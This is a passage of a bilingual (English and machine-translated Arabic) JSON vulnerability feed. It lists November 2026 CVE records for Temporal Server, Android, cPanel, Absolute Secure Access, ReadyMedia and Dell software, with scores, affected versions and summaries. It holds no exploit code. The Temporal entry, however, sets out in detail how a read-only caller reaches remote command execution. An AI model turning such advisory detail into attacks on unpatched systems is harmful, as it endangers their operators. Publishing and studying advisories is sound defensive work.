"","machineTranslated":true,"productSlug":"clavaque-s2member"},{"id":"CVE-2026-120091","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-78","tags":["RCE","Cloud"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T21:19:19Z","product":"Temporal Technologies, Inc. Temporal Server","affected":[["1.31.0 – <1.31.5","1.31.5"],["1.32.0 – <1.32.2","1.32.2"]],"title":{"en":"Temporal Server Kubernetes compute provider builds a client from caller-supplied configuration and runs a caller-chosen command on the Worker Service host","ar":"مزوّد الحوسبة في Kubernetes لخادم Temporal Server ينشئ عميلًا من إعدادات مقدّمة من المُستدعي ويُنفّذ أمرًا من اختياره على مضيف خدمة العمال Worker Service"},"summary":{"en":"Temporal Server compiles a Worker Controller Instance module, go.temporal.io/auto-scaled-workers, into its Worker Service, and that module registers a compute provider named k8s whose function is to manage workers running in a Kubernetes cluster. The k8s provider built its Kubernetes client from the client configuration supplied in the caller's request rather than from operator configuration, and building and using that client could run a command of the caller's choosing on the Worker Service host, under the account the server process runs as. Two frontend operations reach the provider. CreateWorkerDeploymentVersion requires a namespace write role. ValidateWorkerDeploymentVersionComputeConfig is registered as a read-only namespace operation, so an authenticated caller holding only a read role in a single namespace can reach the provider through it, and that route does not require a worker deployment to already exist. Execution happens while the submitted configuration is validated, so no scaling decision, task arrival, or unusual request sequence is required. Because the Worker Service process holds the persistence credentials for every namespace in the cluster and the cluster's TLS material, the consequence reaches beyond the caller's namespace to the cluster as a whole. The provider is present in the official temporal-server binaries and container images for the affected releases. The control that keeps it unreachable is the compute provider allowlist, the dynamic configuration setting workercontroller.compute_providers.enabled. On Temporal Server 1.31.0 through 1.31.2 that allowlist does not deny by default: when the setting is unset the check is skipped and every registered compute provider is permitted, k8s included, so a stock deployment of those releases is exposed. On 1.31.3 and later 1.31 releases, and on 1.32.0 and later 1.32 releases, the allowlist denies by default, and a deployment is exposed only where k8s has been added to it. The 1.30 release line d…","ar":"يُضمّن خادم Temporal Server وحدة Worker Controller Instance، go.temporal.io/auto-scaled-workers، ضمن خدمة العمال Worker Service الخاصة به، وتقوم تلك الوحدة بتسجيل مزوّد حوسبة يُدعى k8s وتتمثل وظيفته في إدارة العمال الذين يعملون في مجموعة Kubernetes. قام مزوّد k8s بإنشاء عميل Kubernetes الخاص به من إعدادات العميل المُقدّمة في طلب المُستدعي بدلاً من إعدادات المُشغّل، ويمكن أن يؤدي بناء هذا العميل واستخدامه إلى تنفيذ أمر من اختيار المُستدعي على مضيف خدمة العمال Worker Service، تحت الحساب الذي تعمل به عملية الخادم. تصل عمليتان للواجهة الأمامية إلى المزوّد. تتطلب CreateWorkerDeploymentVersion دور كتابة لنطاق الأسماء (namespace). تم تسجيل ValidateWorkerDeploymentVersionComputeConfig كعملية لقراءة نطاق الأسماء فقط، لذا يمكن للمُستدعي المُصادق عليه والذي يمتلك دور قراءة فقط في نطاق أسماء واحد الوصول إلى المزوّد من خلالها، ولا يتطلب هذا المسار وجود نشر للعمال مسبقًا. يحدث التنفيذ أثناء التحقق من صحة الإعدادات المُرسلة، وبالتالي لا يتطلب الأمر أي قرار تحجيم، أو وصول مهام، أو تسلسل طلبات غير معتاد. ونظرًا لأن عملية خدمة العمال تحتفظ ببيانات اعتماد الاستمرار لكل نطاق أسماء في المجموعة ومواد TLS الخاصة بالمجموعة، فإن التأثير يتجاوز نطاق أسماء المُستدعي ليصل إلى المجموعة ككل. يتواجد المزوّد في الملفات الثنائية الرسمية لخادم temporal-server وImages الحاويات للإصدارات المتأثرة. إن آلية التحكم التي تبقيه غير قابل للوصول هي القائمة المسموحة لمزودات الحوسبة، وإعداد التكوين الديناميكي workercontroller.compute_providers.enabled. في إصدارات Temporal Server من 1.31.0 إلى 1.31.2، لا تقوم تلك القائمة المسموحة بالرفض افتراضيًا: فععندما يكون الإعداد غير محدد، يتم تخطي التحقق ويُسمح بكل مزوّد حوسبة مسجل، بما في ذلك k8s، لذا فإن التثبيت القياسي لتلك الإصدارات يكون مكشوفًا. في الإصدار 1.31.3 والإصدارات اللاحقة من 1.31، وفي الإصدار 1.32.0 والإصدارات اللاحقة من 1.32، ترفض القائمة المسموحة افتراضيًا، ولا يكون التثبيت مكشوفًا إلا في حال تمت إضافة k8s إليه. خط إصدار 1.30..."},"refs":[["https://github.com/temporalio/temporal-auto-scaled-workers/pull/165","patch"],["https://github.com/temporalio/temporal/pull/12843","patch"],["https://github.com/temporalio/temporal/releases/tag/v1.32.2","ref"],["https://github.com/temporalio/temporal/releases/tag/v1.31.5","ref"],["https://www.cve.org/CVERecord?id=CVE-2026-89139","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"temporal-technologies-inc-temporal-server"},{"id":"CVE-2026-58873","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T21:17:35Z","product":"Google Android XR","affected":[["14",null]],"title":{"en":"In addDragDropListener of WindowManagerService.java, there is a possible permission bypass due to a missing permission check.","ar":"في وظيفة addDragDropListener الخاصة بـ WindowManagerService.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In addDragDropListener of WindowManagerService.java, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في وظيفة addDragDropListener الخاصة بـ WindowManagerService.java، يوجد احتمال لتجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى امتيازات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/xr/2026/2026-11-01","advisory"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android-xr"},{"id":"CVE-2026-49906","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T21:17:31Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"An unprivileged application can bypass the `android.car.permission.CAR_DISPLAY_IN_CLUSTER` permission by registering an activity with the `android.car","ar":"يمكن لتطبيق غير ممتز الصلاحيات تجاوز صلاحية android.car.permission.CAR_DISPLAY_IN_CLUSTER عبر تسجيل نشاط بالفئة android.car"},"summary":{"en":"An unprivileged application can bypass the `android.car.permission.CAR_DISPLAY_IN_CLUSTER` permission by registering an activity with the `android.car.cluster.NAVIGATION` category and requesting navigation app focus. The privileged `ClusterHomeSample` application, acting as a confused deputy, resolves and launches this arbitrary third-party activity on the safety-critical instrument cluster display without enforcing the necessary permission check, allowing for persistent display of potentially misleading or distracting content.","ar":"يمكن لتطبيق غير ممتز الصلاحيات تجاوز صلاحية android.car.permission.CAR_DISPLAY_IN_CLUSTER عبر تسجيل نشاط بالفئة android.car.cluster.NAVIGATION وطلب التركيز على تطبيق الملاحة. يقوم تطبيق ClusterHomeSample الممتز الصلاحيات، والذي يعمل كنائب مرتبك، بحل وإطلاق هذا النشاط العشوائي التابع لجهة خارجية على شاشة لوحة القيادة الحرجة من دون فرض فحص الصلاحيات اللازم، مما يسمح بالعرض المستمر لمحتوى قد يكون مضللاً أو مشتتًا للانتباه."},"refs":[["https://source.android.com/docs/security/bulletin/aaos/2026/2026-11-01","ref"]],"epss":0.0018,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-116767","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T21:17:25Z","product":"Absolute Software Secure Access","affected":[["0 – <14.61","14.61"]],"title":{"en":"Improper input handling in Secure Access servers","ar":"معالجة غير سليم للإدخال في خوادم Secure Access"},"summary":{"en":"CVE-2026-116767 is an improper input handling vulnerability in Secure Access servers prior to 14.61. Authenticated attackers can cause a persistent denial of service.","ar":"إن الثغرة CVE-2026-116767 هي ثغرة معالجة غير سليمة للإدخال في خوادم Secure Access للإصدارات الأقدم من 14.61. يمكن لمهاجمين يملكون حسابًا مصادقًا عليه التسبب في حجب خدمة دائم."},"refs":[["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116767","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"absolute-software-secure-access"},{"id":"CVE-2026-105476","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T21:17:22Z","product":"WebPros cPanel","affected":[["0 – <11.138.0.19","11.138.0.19"],["0 – <11.136.0.51","11.136.0.51"],["0 – <11.134.0.67","11.134.0.67"],["0 – <11.110.0.154","11.110.0.154"]],"title":{"en":"Improper link resolution before file access in cPanel allows remote authenticated users to write arbitrary root-owned files and escalate privileges.","ar":"حل الروابط غير السليم قبل الوصول إلى الملفات في cPanel يسمح للمستخدمين المصدق عليهم عن بُعد بكتابة ملفات عشوائية مملوكة لـ root وتصعيد الصلاحيات."},"summary":{"en":"Improper link resolution before file access in cPanel allows remote authenticated users to write arbitrary root-owned files and escalate privileges.","ar":"حل الروابط غير السليم قبل الوصول إلى الملفات في cPanel يسمح للمستخدمين المصدق عليهم عن بُعد بكتابة ملفات عشوائية مملوكة لـ root وتصعيد الصلاحيات."},"refs":[["https://support.cpanel.net/hc/en-us/articles/44356595655703-Security-CVE-2026-105476-Arbitrary-File-Write-as-Root-in-cPanel-WHM-October-20th-2026","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"webpros-cpanel"},{"id":"CVE-2026-105475","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-158","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T21:05:16Z","product":"WebPros cPanel","affected":[["0 – <11.138.0.19","11.138.0.19"],["0 – <11.136.0.51","11.136.0.51"],["0 – <11.134.0.67","11.134.0.67"],["0 – <11.110.0.154","11.110.0.154"]],"title":{"en":"Improper neutralization of a NUL byte in cPanel allows remote attackers to read any mail account's calendar and contact data.","ar":"يسمح الحياد غير السليم لبايت فارغ (NUL byte) في cPanel للمهاجمين عن بُعد بقراءة بيانات التقويم والجهات الاتصال الخاصة بأي حساب بريد."},"summary":{"en":"Improper neutralization of a NUL byte in cPanel allows remote attackers to read any mail account's calendar and contact data.","ar":"يسمح الحياد غير السليم لبايت فارغ (NUL byte) في cPanel للمهاجمين عن بُعد بقراءة بيانات التقويم والجهات الاتصال الخاصة بأي حساب بريد."},"refs":[["https://support.cpanel.net/hc/en-us/articles/44356591132439-Security-CVE-2026-105475-Unauthenticated-Access-to-Calendar-and-Contact-Data-in-cPanel-WHM-October-20th-2026","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"webpros-cpanel"},{"id":"CVE-2026-116768","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T20:27:51Z","product":"Absolute Software Secure Access","affected":[["0 – <14.61","14.61"]],"title":{"en":"Missing length validation in Absolute Secure Access","ar":"غياب التحقق من الطول في Absolute Secure Access"},"summary":{"en":"CVE-2026-116768 is a missing length validation vulnerability in Secure Access servers prior to 14.61. Authenticated attackers can cause a persistent denial of service when connecting for the first time.","ar":"تُعد CVE-2026-116768 ثغرة غياب للتحقق من الطول في خوادم Secure Access الإصدارات السابقة لـ 14.61. يمكن لمهاجم يملك حسابًا مصادقًا عليه التسبب في حجب الخدمة بشكل دائم عند الاتصال للمرة الأولى."},"refs":[["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-116768","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"absolute-software-secure-access"},{"id":"CVE-2026-29508","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-121","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T20:25:11Z","product":"ReadyMedia ReadyMedia (MiniDLNA)","affected":[["1.3.0 – 1.3.3",null]],"title":{"en":"ReadyMedia 1.3.0 - 1.3.3 Stack Buffer Overflow via DFF Parser","ar":"ReadyMedia 1.3.0 - 1.3.3 فيضان المخزن المؤقت في المكدس عبر محلل DFF"},"summary":{"en":"ReadyMedia (formerly MiniDLNA) versions 1.3.0 through 1.3.3 contain a stack-based buffer overflow vulnerability that allows remote attackers to corrupt stack memory by crafting a malicious DFF audio file with an oversized PROP chunk size value that is used unvalidated to allocate a variable-length stack array and read file data into it. Attackers can place a crafted DFF file in a directory monitored by ReadyMedia to trigger automatic parsing via inotify, achieving remote code execution on unprotected builds or denial of service on hardened builds with stack protections.","ar":"تحتوي إصدارات ReadyMedia (المعروفة سابقًا باسم MiniDLNA) من 1.3.0 إلى 1.3.3 على ثغرة فيضان المخزن المؤقت القائم على المكدس والتي تسمح للمهاجمين عن بُعد بإفساد ذاكرة المكدس عن طريق صياغة ملف صوتي خبيث بصيغة DFF مع قيمة حجم كتلة PROP كبيرة للغاية يتم استخدامها دون التحقق منها لتخصيص مصفوفة مكدس ذات طول متغير وقراءة بيانات الملف فيها. يمكن للمهاجمين وضع ملف DFF مصاغ في دليل مراقب بواسطة ReadyMedia لتفعيل التحليل التلقائي عبر inotify، مما يحقق تنفيذ أوامر عن بُعد على الإنشاءات غير المحمية أو حجب الخدمة على الإنشاءات المحمية بحمايات المكدس."},"refs":[["https://www.asus.com/networking-iot-servers/wifi-routers/asus-gaming-routers/rt-ax86u/helpdesk_bios?model2Name=RT-AX86-Series-RT-AX86U-RT-AX86S","patch"],["https://www.vulncheck.com/advisories/readymedia-stack-buffer-overflow-via-dff-parser","advisory"],["https://www.kr3bz.wtf/posts/minidlna-unbounded-vla-to-rce/","ref"],["https://sourceforge.net/projects/minidlna/","ref"]],"epss":0.0072,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"readymedia-minidlna"},{"id":"CVE-2026-97718","cvss":9.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:18:05Z","product":"Absolute Security Secure Access","affected":[["14.60",null]],"title":{"en":"CSRF in Secure Access Server v14.60","ar":"ثغرة تزوير الطلبات عبر المواقع (CSRF) في Secure Access Server v14.60"},"summary":{"en":"CVE-2026-97718 Is a cross-site request forgery vulnerability in version 14.60 of the Secure Access server. Because of a bypassed security control, an attacker can cause an admin to create an account under their control.","ar":"CVE-2026-97718 هي ثغرة تزوير الطلبات عبر المواقع في الإصدار 14.60 من خادم Secure Access. بسبب تجاوز عنصر تحكم الأمان، يمكن للمهاجم جعل المشرف ينشئ حساباً تحت سيطرته."},"refs":[["https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-97718","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"absolute-security-secure-access"},{"id":"CVE-2026-91898","cvss":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-347","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-11-02T20:18:04Z","product":"Dell Alienware Command Center (AWCC)","affected":[["0 – <6.14.54.0","6.14.54.0"]],"title":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability.","ar":"تحتوي إصدارات Dell Alienware Command Center (AWCC) السابقة لـ 6.14.54.0 على ثغرة التحقق غير السليم من التوقيع التشفيري."},"summary":{"en":"Dell Alienware Command Center (AWCC), versions prior to 6.14.54.0, contain an Improper Verification of Cryptographic Signature vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Arbitrary Code Execution and Elevation of Privilege.","ar":"تحتوي إصدارات Dell Alienware Command Center (AWCC) السابقة لـ 6.14.54.0 على ثغرة التحقق غير السليم من التوقيع التشفيري. يمكن لمهاجم دون مصادقة يتمتع بصلاحية الوصول إلى الشبكة المجاورة استغلال هذه الثغرة، مما يؤدي إلى تنفيذ شيفرة عشوائية وتصعيد الصلاحيات."},"refs":[["https://www.dell.com/support/kbdoc/en-us/000512248/dsa-2026-429-security-update-for-dell-alienware-command-center-6-x-for-multiple-vulnerabilities","advisory"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"dell-alienware-command-center"},{"id":"CVE-2026-59042","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:57Z","product":"Google Android","affected":[],"title":{"en":"In __pkvm_pages_to_ppages of mmu.c, there is a possible out-of-bounds write due to a race condition.","ar":"في الدالة __pkvm_pages_to_ppages من الملف mmu.c، يوجد احتمال كتابة خارج الحدود بسبب حالة تنافس."},"summary":{"en":"In __pkvm_pages_to_ppages of mmu.c, there is a possible out-of-bounds write due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة __pkvm_pages_to_ppages من الملف mmu.c، يوجد احتمال كتابة خارج الحدود بسبب حالة تنافس. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://android.googlesource.com/kernel/common/+/1569a00286640e452ce917ee8b3cec04c5cc3715","ref"],["https://android.googlesource.com/kernel/common/+/382cffbd3842b64260993d2438926a9f2a0a447e","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59043","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:57Z","product":"Google Android","affected":[],"title":{"en":"In arm_lpae_split_blk_unmap of io-pgtable-arm-common.c, there is a possible memory corruption due to a race condition.","ar":"في الدالة arm_lpae_split_blk_unmap من الملف io-pgtable-arm-common.c، يوجد احتمال تلف الذاكرة بسبب حالة تنافس."},"summary":{"en":"In arm_lpae_split_blk_unmap of io-pgtable-arm-common.c, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة arm_lpae_split_blk_unmap من الملف io-pgtable-arm-common.c، يوجد احتمال تلف الذاكرة بسبب حالة تنافس. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://android.googlesource.com/kernel/common/+/82cd807f41d89d5cf2b4c3ac7affdb91188baea7","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59045","cvss":7.4,"vector":"CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-362","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:57Z","product":"Google Android","affected":[],"title":{"en":"In multiple locations, there is a possible memory corruption due to a race condition.","ar":"في عدة مواقع، يوجد احتمال تلف الذاكرة بسبب حالة تنافس."},"summary":{"en":"In multiple locations, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة مواقع، يوجد احتمال تلف الذاكرة بسبب حالة تنافس. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://android.googlesource.com/kernel/common/+/01ff2abe4905798e330a70f2970ee33a44419d24","ref"],["https://android.googlesource.com/kernel/common/+/22ae719f35b14f88e551f0e858a1087a4b721204","ref"],["https://android.googlesource.com/kernel/common/+/9f965dd09cad69d0064f8a862d68cfc2163ba9d3","ref"],["https://android.googlesource.com/kernel/common/+/acce19149cb8ebe92218d0e66c08bc36552ddbdf","ref"],["https://android.googlesource.com/kernel/common/+/bd9aaec66cf50ea3ade2b537d9b730e40fe512e6","ref"],["https://android.googlesource.com/kernel/common/+/c47ebb7427d5011de67b526eac67b42da640bdc5","ref"],["https://android.googlesource.com/kernel/common/+/e10fb80c80387aa1f26695b57df95afe0ef00481","ref"],["https://android.googlesource.com/kernel/common/+/eb970aae88c0f45056f4501b7815a9b5c7ab0435","ref"],["https://android.googlesource.com/kernel/common/+/f0a2d3087b73b442b69fe0a9617ab920400abe15","ref"],["https://android.googlesource.com/kernel/common/+/f6510cfbc728061d7a8d4ea4ac91e5fc270aaf6b","ref"],["https://android.googlesource.com/kernel/common/+/f89e83e20aa69fbdd5b2f2de284dafcaadbda7c7","ref"],["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0026,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59016","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:56Z","product":"Google Android","affected":[["17",null]],"title":{"en":"In sendAnomalyProfile of ProfilingService.java, there is a possible path traversal issue due to path traversal.","ar":"في الدالة sendAnomalyProfile من الملف ProfilingService.java، توجد مشكلة اجتياز مسار محتملة بسبب اجتياز المسار."},"summary":{"en":"In sendAnomalyProfile of ProfilingService.java, there is a possible path traversal issue due to path traversal. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة sendAnomalyProfile من الملف ProfilingService.java، توجد مشكلة اجتياز مسار محتملة بسبب اجتياز المسار. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0011,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-59004","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-248","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:55Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible permission bypass due to an uncaught exception.","ar":"في عدة مواقع، يوجد احتمال تجاوز الصلاحيات بسبب استثناء غير مُلتقط."},"summary":{"en":"In multiple locations, there is a possible permission bypass due to an uncaught exception. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في عدة مواقع، يوجد احتمال تجاوز الصلاحيات بسبب استثناء غير مُلتقط. قد يؤدي هذا إلى تصعيد محلي للصلاحيات دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم لتنفيذ الاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58968","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-415","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:53Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null]],"title":{"en":"In oapvd_vlc_metadata of oapv_vlc.c, there is a possible memory corruption due to a double free.","ar":"في oapvd_vlc_metadata ضمن ملف oapv_vlc.c، يوجد احتمال حدوث تلف في الذاكرة بسبب عملية تحرير مزدوجة (double free)."},"summary":{"en":"In oapvd_vlc_metadata of oapv_vlc.c, there is a possible memory corruption due to a double free. This could lead to remote escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في oapvd_vlc_metadata ضمن ملف oapv_vlc.c، يوجد احتمال حدوث تلف في الذاكرة بسبب عملية تحرير مزدوجة (double free). قد يؤدي هذا إلى تصعيد الصلاحيات عن بُعد دون الحاجة إلى صلاحيات تنفيذ إضافية. ولا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0016,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58974","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:53Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In multiple locations, there is a possible permission bypass due to a missing permission check.","ar":"في مواقع متعددة، يوجد احتمال تجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات."},"summary":{"en":"In multiple locations, there is a possible permission bypass due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في مواقع متعددة، يوجد احتمال تجاوز الصلاحيات بسبب غياب التحقق من الصلاحيات. قد يؤدي هذا إلى تصعيد الصلاحيات محليًا دون الحاجة إلى صلاحيات تنفيذ إضافية. لا يلزم تفاعل المستخدم للاستغلال."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.0012,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58957","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-441","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:52Z","product":"Google Android","affected":[["17",null],["16-qpr2",null],["16",null],["15",null],["14",null]],"title":{"en":"In resolveToHeavyWeightSwitcherIfNeeded of ActivityStarter.java, there is a possible background activity launch due to a confused deputy.","ar":"في الدالة resolveToHeavyWeightSwitcherIfNeeded ضمن الملف ActivityStarter.java، يوجد احتمال إطلاق نشاط في الخلفية بسبب نائب محتار (confused deputy)"},"summary":{"en":"In resolveToHeavyWeightSwitcherIfNeeded of ActivityStarter.java, there is a possible background activity launch due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.","ar":"في الدالة resolveToHeavyWeightSwitcherIfNeeded ضمن الملف ActivityStarter.java، يوجد احتمال إطلاق نشاط في الخلفية بسبب نائب محتار (confused deputy). قد يؤدي ذلك إلى تصعيد للصلاحيات محليًا دون الحاجة لصلاحيات تنفيذ إضافية. لا يتطلب الاستغلال أي تفاعل من المستخدم."},"refs":[["https://source.android.com/docs/security/bulletin/2026/2026-11-01","ref"]],"epss":0.001,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"google-android"},{"id":"CVE-2026-58962","cvss":8.4,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-02T20:17:52Z","product":"Google 